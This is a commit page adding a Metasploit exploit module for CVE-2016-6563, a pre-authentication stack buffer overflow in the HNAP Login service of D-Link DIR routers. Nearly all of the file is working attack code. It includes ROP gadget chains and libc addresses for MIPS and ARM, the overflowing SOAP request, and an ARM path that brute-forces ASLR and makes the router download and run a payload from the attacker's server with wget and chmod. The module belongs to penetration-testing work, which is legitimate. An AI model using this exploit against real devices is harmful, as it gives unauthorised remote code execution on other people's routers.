Skip to content

Commit 6c62214

Browse files
committed
Land rapid7#7543, Create exploit for CVE-2016-6563 / Dlink DIR HNAP Login
2 parents 0504cae + 908713c commit 6c62214

File tree

1 file changed

+300
-0
lines changed

1 file changed

+300
-0
lines changed
Lines changed: 300 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,300 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
# Payload working status:
9+
# MIPS:
10+
# - all valid payloads working (the ones that we are able to send without null bytes)
11+
# ARM:
12+
# - inline rev/bind shell works (bind... meh sometimes)
13+
# - stager rev/bind shell FAIL
14+
# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...
15+
16+
class MetasploitModule < Msf::Exploit::Remote
17+
Rank = ExcellentRanking
18+
19+
include Msf::Exploit::Remote::HttpClient
20+
include Msf::Exploit::Remote::HttpServer
21+
include Msf::Exploit::EXE
22+
include Msf::Exploit::FileDropper
23+
24+
def initialize(info = {})
25+
super(update_info(info,
26+
'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',
27+
'Description' => %q{
28+
Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which
29+
is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,
30+
which accepts arbitrarily long strings into certain XML parameters and then copies them into
31+
the stack.
32+
This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested
33+
using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and
34+
this vulnerability is present in both MIPS and ARM devices.
35+
The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a
36+
few load and store instructions. Because of this the payloads have to be sent unencoded, which
37+
can cause them to fail, although the bind shell seems to work well.
38+
For the ARM devices, the inline reverse tcp seems to work best.
39+
Check the reference links to see the vulnerable firmware versions.
40+
},
41+
'Author' =>
42+
[
43+
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
44+
],
45+
'License' => MSF_LICENSE,
46+
'Platform' => ['linux'],
47+
'References' =>
48+
[
49+
['CVE', '2016-6563'],
50+
['US-CERT-VU', '677427'],
51+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],
52+
['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']
53+
],
54+
'DefaultOptions' => { 'WfsDelay' => 10 },
55+
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target)
56+
'Targets' =>
57+
[
58+
[ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',
59+
{
60+
'Offset' => 3072,
61+
'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers
62+
'Sleep' => 0x56DF0, # sleep() offset into libuClibc-0.9.30.3.so
63+
'FirstGadget' => 0x4EA1C, # see comments below for gadget information
64+
'SecondGadget' => 0x2468C,
65+
'ThirdGadget' => 0x41f3c,
66+
'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi sp,sp,-3128
67+
'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr sp
68+
'BranchDelay' => "\x20\x84\xf8\x30", # addi a0,a0,-2000 (nop)
69+
'Arch' => ARCH_MIPSBE,
70+
'Payload' =>
71+
{
72+
'BadChars' => "\x00",
73+
'EncoderType' => Msf::Encoder::Type::Raw # else it will fail with SIGILL, this CPU is crippled
74+
},
75+
}
76+
],
77+
[ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
78+
{
79+
'Offset' => 1024,
80+
'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)
81+
'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so
82+
'FirstGadget' => 0x18298, # see comments below for gadget information
83+
'SecondGadget' => 0x40CB8,
84+
'Arch' => ARCH_ARMLE,
85+
}
86+
],
87+
],
88+
'DisclosureDate' => 'Nov 7 2016',
89+
'DefaultTarget' => 0))
90+
register_options(
91+
[
92+
Opt::RPORT(80),
93+
OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
94+
OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
95+
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
96+
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
97+
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
98+
], self.class)
99+
end
100+
101+
def check
102+
begin
103+
res = send_request_cgi({
104+
'uri' => '/HNAP1/',
105+
'method' => 'POST',
106+
'Content-Type' => 'text/xml',
107+
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }
108+
})
109+
110+
if res && res.code == 500
111+
return Exploit::CheckCode::Detected
112+
end
113+
rescue ::Rex::ConnectionError
114+
return Exploit::CheckCode::Unknown
115+
end
116+
117+
Exploit::CheckCode::Safe
118+
end
119+
120+
def calc_encode_addr (offset, big_endian = true)
121+
if big_endian
122+
[(target['LibcBase'] + offset).to_s(16)].pack('H*')
123+
else
124+
[(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse
125+
end
126+
end
127+
128+
def prepare_shellcode_arm (cmd)
129+
#All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers
130+
131+
#first_gadget (pops system() address into r3, and second_gadget into PC):
132+
#.text:00018298 LDMFD SP!, {R3,PC}
133+
134+
#second_gadget (puts the stack pointer into r0 and calls system() at r3):
135+
#.text:00040CB8 MOV R0, SP
136+
#.text:00040CBC BLX R3
137+
138+
#system() (Executes argument in r0 (our stack pointer)
139+
#.text:0005A270 system
140+
141+
#The final payload will be:
142+
#'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
143+
shellcode = rand_text_alpha(target['Offset']) + # filler
144+
"\xff\xff\xff\xff" + # n integer overwrite (see advisory)
145+
rand_text_alpha(16) + # moar filler
146+
rand_text_alpha(4) + # r11
147+
calc_encode_addr(target['FirstGadget'], false) + # first_gadget
148+
calc_encode_addr(target['System'], false) + # system() address
149+
calc_encode_addr(target['SecondGadget'], false) + # second_gadget
150+
cmd # our command
151+
end
152+
153+
def prepare_shellcode_mips
154+
#All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers
155+
156+
#<sleep> is at 56DF0
157+
158+
#first gadget - execute sleep and call second_gadget
159+
#.text:0004EA1C move $t9, $s0 <- sleep()
160+
#.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
161+
#.text:0004EA24 li $a0, 2 <- arg for sleep()
162+
#.text:0004EA28 lw $s0, 0x20+var_8($sp)
163+
#.text:0004EA2C li $a1, 1
164+
#.text:0004EA30 move $a2, $zero
165+
#.text:0004EA34 jr $t9
166+
#.text:0004EA38 addiu $sp, 0x20
167+
168+
#second gadget - put stack pointer in a1:
169+
#.text:0002468C addiu $s1, $sp, 0x58
170+
#.text:00024690 li $s0, 0x44
171+
#.text:00024694 move $a2, $s0
172+
#.text:00024698 move $a1, $s1
173+
#.text:0002469C move $t9, $s4
174+
#.text:000246A0 jalr $t9
175+
#.text:000246A4 move $a0, $s2
176+
177+
#third gadget - call $a1 (stack pointer):
178+
#.text:00041F3C move $t9, $a1
179+
#.text:00041F40 move $a1, $a2
180+
#.text:00041F44 addiu $a0, 8
181+
#.text:00041F48 jr $t9
182+
#.text:00041F4C nop
183+
184+
#When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.
185+
#prep_shellcode_1: 23bdf7a8 addi sp,sp,-3128
186+
#prep_shellcode_2: 03a0f809 jalr sp
187+
#branch_delay: 2084f830 addi a0,a0,-2000
188+
189+
#The final payload will be:
190+
#shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
191+
shellcode = payload.encoded + # exploit
192+
rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler
193+
calc_encode_addr(target['Sleep']) + # s0
194+
rand_text_alpha(4) + # s1
195+
rand_text_alpha(4) + # s2
196+
rand_text_alpha(4) + # s3
197+
calc_encode_addr(target['ThirdGadget']) + # s4 (third gadget)
198+
calc_encode_addr(target['FirstGadget']) + # initial pc / ra (first_gadget)
199+
rand_text_alpha(0x1c) + # filler
200+
calc_encode_addr(target['SecondGadget']) + # second_gadget
201+
rand_text_alpha(0x58) + # filler
202+
target['PrepShellcode1'] + # exploit prep
203+
target['PrepShellcode2'] + # exploit prep
204+
target['BranchDelay'] # exploit prep
205+
end
206+
207+
def send_payload (payload)
208+
begin
209+
# the payload can go in the Action, Username, LoginPassword or Captcha XML tag
210+
body = %{
211+
<?xml version="1.0" encoding="utf-8"?>
212+
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
213+
<soap:Body>
214+
<Login xmlns="http://purenetworks.com/HNAP1/">
215+
<Action>something</Action>
216+
<Username>Admin</Username>
217+
<LoginPassword></LoginPassword>
218+
<Captcha>#{payload}</Captcha>
219+
</Login>
220+
</soap:Body>
221+
</soap:Envelope>
222+
}
223+
224+
res = send_request_cgi({
225+
'uri' => '/HNAP1/',
226+
'method' => 'POST',
227+
'ctype' => 'text/xml',
228+
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },
229+
'data' => body
230+
})
231+
rescue ::Rex::ConnectionError
232+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
233+
end
234+
end
235+
236+
# Handle incoming requests from the server
237+
def on_request_uri(cli, request)
238+
#print_status("on_request_uri called: #{request.inspect}")
239+
if (not @pl)
240+
print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
241+
return
242+
end
243+
print_status("#{peer} - Sending the payload to the device...")
244+
@elf_sent = true
245+
send_response(cli, @pl)
246+
end
247+
248+
def exploit
249+
print_status("#{peer} - Attempting to exploit #{target.name}")
250+
if target == targets[0]
251+
send_payload(prepare_shellcode_mips)
252+
else
253+
downfile = rand_text_alpha(8+rand(8))
254+
@pl = generate_payload_exe
255+
@elf_sent = false
256+
resource_uri = '/' + downfile
257+
258+
#do not use SSL
259+
if datastore['SSL']
260+
ssl_restore = true
261+
datastore['SSL'] = false
262+
end
263+
264+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
265+
srv_host = Rex::Socket.source_address(rhost)
266+
else
267+
srv_host = datastore['SRVHOST']
268+
end
269+
270+
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
271+
print_status("#{peer} - Starting up our web service on #{service_url} ...")
272+
start_service({'Uri' => {
273+
'Proc' => Proc.new { |cli, req|
274+
on_request_uri(cli, req)
275+
},
276+
'Path' => resource_uri
277+
}})
278+
279+
datastore['SSL'] = true if ssl_restore
280+
print_status("#{peer} - Asking the device to download and execute #{service_url}")
281+
282+
filename = rand_text_alpha_lower(rand(8) + 2)
283+
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
284+
285+
shellcode = prepare_shellcode_arm(cmd)
286+
287+
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
288+
counter = 0.00
289+
while (not @elf_sent)
290+
if counter % 50.00 == 0 && counter != 0.00
291+
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
292+
end
293+
send_payload(shellcode)
294+
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
295+
counter += 1
296+
end
297+
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
298+
end
299+
end
300+
end

0 commit comments

Comments
 (0)